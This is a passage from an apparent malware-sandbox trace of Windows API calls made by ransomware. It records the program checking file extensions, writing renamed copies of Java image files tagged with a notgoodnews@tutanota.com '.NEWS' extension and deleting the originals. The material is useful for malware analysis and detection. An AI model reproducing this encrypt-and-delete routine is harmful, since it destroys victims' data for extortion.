(lpString=".jpg") returned 4 [0067.288] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.288] lstrlenW (lpString=".doc") returned 4 [0067.288] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.288] lstrlenW (lpString=".docx") returned 5 [0067.288] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0067.288] lstrlenW (lpString=".pdf") returned 4 [0067.288] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.288] lstrlenW (lpString=".xls") returned 4 [0067.288] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.288] lstrlenW (lpString=".xlsx") returned 5 [0067.288] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0067.288] lstrlenW (lpString=".ppt") returned 4 [0067.288] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.288] lstrlenW (lpString=".zip") returned 4 [0067.288] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.288] lstrlenW (lpString=".rar") returned 4 [0067.288] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.288] lstrlenW (lpString=".bz2") returned 4 [0067.288] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.288] lstrlenW (lpString=".7z") returned 3 [0067.289] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.289] lstrlenW (lpString=".dbf") returned 4 [0067.289] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.289] lstrlenW (lpString=".1cd") returned 4 [0067.289] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.289] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0067.289] lstrlenW (lpString=".jpg") returned 4 [0067.289] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.289] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.289] lstrlenW (lpString="invalid32x32.gif") returned 16 [0067.289] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.290] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=153) returned 1 [0067.290] CloseHandle (hObject=0x374) returned 1 [0067.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0067.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.290] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.290] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.291] GetLastError () returned 0x0 [0067.291] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x99, lpOverlapped=0x0) returned 1 [0067.292] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xa0, lpOverlapped=0x0) returned 1 [0067.294] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.294] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf4, lpOverlapped=0x0) returned 1 [0067.294] SetEndOfFile (hFile=0x308) returned 1 [0067.294] CloseHandle (hObject=0x308) returned 1 [0067.295] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.295] SetEndOfFile (hFile=0x374) returned 1 [0067.296] CloseHandle (hObject=0x374) returned 1 [0067.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.296] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0067.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.296] lstrlenW (lpString=".doc") returned 4 [0067.296] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.296] lstrlenW (lpString=".docx") returned 5 [0067.296] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.297] lstrlenW (lpString=".pdf") returned 4 [0067.297] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.297] lstrlenW (lpString=".xls") returned 4 [0067.297] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.297] lstrlenW (lpString=".xlsx") returned 5 [0067.297] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.297] lstrlenW (lpString=".ppt") returned 4 [0067.297] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.297] lstrlenW (lpString=".zip") returned 4 [0067.297] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.297] lstrlenW (lpString=".rar") returned 4 [0067.297] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.297] lstrlenW (lpString=".bz2") returned 4 [0067.297] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.297] lstrlenW (lpString=".7z") returned 3 [0067.297] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.297] lstrlenW (lpString=".dbf") returned 4 [0067.297] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.297] lstrlenW (lpString=".1cd") returned 4 [0067.297] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.297] lstrlenW (lpString=".jpg") returned 4 [0067.297] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.297] lstrlenW (lpString=".doc") returned 4 [0067.297] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.297] lstrlenW (lpString=".docx") returned 5 [0067.297] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.297] lstrlenW (lpString=".pdf") returned 4 [0067.297] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.298] lstrlenW (lpString=".xls") returned 4 [0067.298] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.298] lstrlenW (lpString=".xlsx") returned 5 [0067.298] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.298] lstrlenW (lpString=".ppt") returned 4 [0067.298] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.298] lstrlenW (lpString=".zip") returned 4 [0067.298] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.298] lstrlenW (lpString=".rar") returned 4 [0067.298] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.298] lstrlenW (lpString=".bz2") returned 4 [0067.298] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.298] lstrlenW (lpString=".7z") returned 3 [0067.298] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.298] lstrlenW (lpString=".dbf") returned 4 [0067.298] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.298] lstrlenW (lpString=".1cd") returned 4 [0067.298] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0067.298] lstrlenW (lpString=".jpg") returned 4 [0067.298] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.298] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.298] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23 [0067.298] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.299] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=165) returned 1 [0067.299] CloseHandle (hObject=0x374) returned 1 [0067.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0067.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.299] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.299] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.300] GetLastError () returned 0x0 [0067.300] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xa5, lpOverlapped=0x0) returned 1 [0067.301] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xb0, lpOverlapped=0x0) returned 1 [0067.302] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.302] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x102, lpOverlapped=0x0) returned 1 [0067.302] SetEndOfFile (hFile=0x308) returned 1 [0067.302] CloseHandle (hObject=0x308) returned 1 [0067.303] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.303] SetEndOfFile (hFile=0x374) returned 1 [0067.304] CloseHandle (hObject=0x374) returned 1 [0067.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.304] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0067.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.304] lstrlenW (lpString=".doc") returned 4 [0067.304] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.305] lstrlenW (lpString=".docx") returned 5 [0067.305] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.305] lstrlenW (lpString=".pdf") returned 4 [0067.305] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.305] lstrlenW (lpString=".xls") returned 4 [0067.305] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.305] lstrlenW (lpString=".xlsx") returned 5 [0067.305] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.305] lstrlenW (lpString=".ppt") returned 4 [0067.305] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.305] lstrlenW (lpString=".zip") returned 4 [0067.305] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.305] lstrlenW (lpString=".rar") returned 4 [0067.305] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.305] lstrlenW (lpString=".bz2") returned 4 [0067.305] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.305] lstrlenW (lpString=".7z") returned 3 [0067.305] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.305] lstrlenW (lpString=".dbf") returned 4 [0067.305] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.305] lstrlenW (lpString=".1cd") returned 4 [0067.305] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.305] lstrlenW (lpString=".jpg") returned 4 [0067.305] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.305] lstrlenW (lpString=".doc") returned 4 [0067.305] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.305] lstrlenW (lpString=".docx") returned 5 [0067.305] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.306] lstrlenW (lpString=".pdf") returned 4 [0067.306] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.306] lstrlenW (lpString=".xls") returned 4 [0067.306] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.306] lstrlenW (lpString=".xlsx") returned 5 [0067.306] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.306] lstrlenW (lpString=".ppt") returned 4 [0067.306] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.306] lstrlenW (lpString=".zip") returned 4 [0067.306] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.306] lstrlenW (lpString=".rar") returned 4 [0067.306] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.306] lstrlenW (lpString=".bz2") returned 4 [0067.306] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.306] lstrlenW (lpString=".7z") returned 3 [0067.306] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.306] lstrlenW (lpString=".dbf") returned 4 [0067.306] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.306] lstrlenW (lpString=".1cd") returned 4 [0067.306] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0067.306] lstrlenW (lpString=".jpg") returned 4 [0067.306] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.306] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.306] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25 [0067.306] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.307] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=153) returned 1 [0067.307] CloseHandle (hObject=0x374) returned 1 [0067.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0067.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.307] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.307] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.307] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.307] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.308] GetLastError () returned 0x0 [0067.308] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x99, lpOverlapped=0x0) returned 1 [0067.309] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xa0, lpOverlapped=0x0) returned 1 [0067.310] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.310] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x106, lpOverlapped=0x0) returned 1 [0067.310] SetEndOfFile (hFile=0x308) returned 1 [0067.310] CloseHandle (hObject=0x308) returned 1 [0067.311] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.311] SetEndOfFile (hFile=0x374) returned 1 [0067.312] CloseHandle (hObject=0x374) returned 1 [0067.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.312] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0067.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.312] lstrlenW (lpString=".doc") returned 4 [0067.312] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.313] lstrlenW (lpString=".docx") returned 5 [0067.313] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0067.313] lstrlenW (lpString=".pdf") returned 4 [0067.313] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.313] lstrlenW (lpString=".xls") returned 4 [0067.313] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.313] lstrlenW (lpString=".xlsx") returned 5 [0067.313] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0067.313] lstrlenW (lpString=".ppt") returned 4 [0067.313] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.313] lstrlenW (lpString=".zip") returned 4 [0067.313] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.313] lstrlenW (lpString=".rar") returned 4 [0067.313] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.313] lstrlenW (lpString=".bz2") returned 4 [0067.313] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.313] lstrlenW (lpString=".7z") returned 3 [0067.313] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.313] lstrlenW (lpString=".dbf") returned 4 [0067.313] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0067.313] lstrlenW (lpString=".1cd") returned 4 [0067.313] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 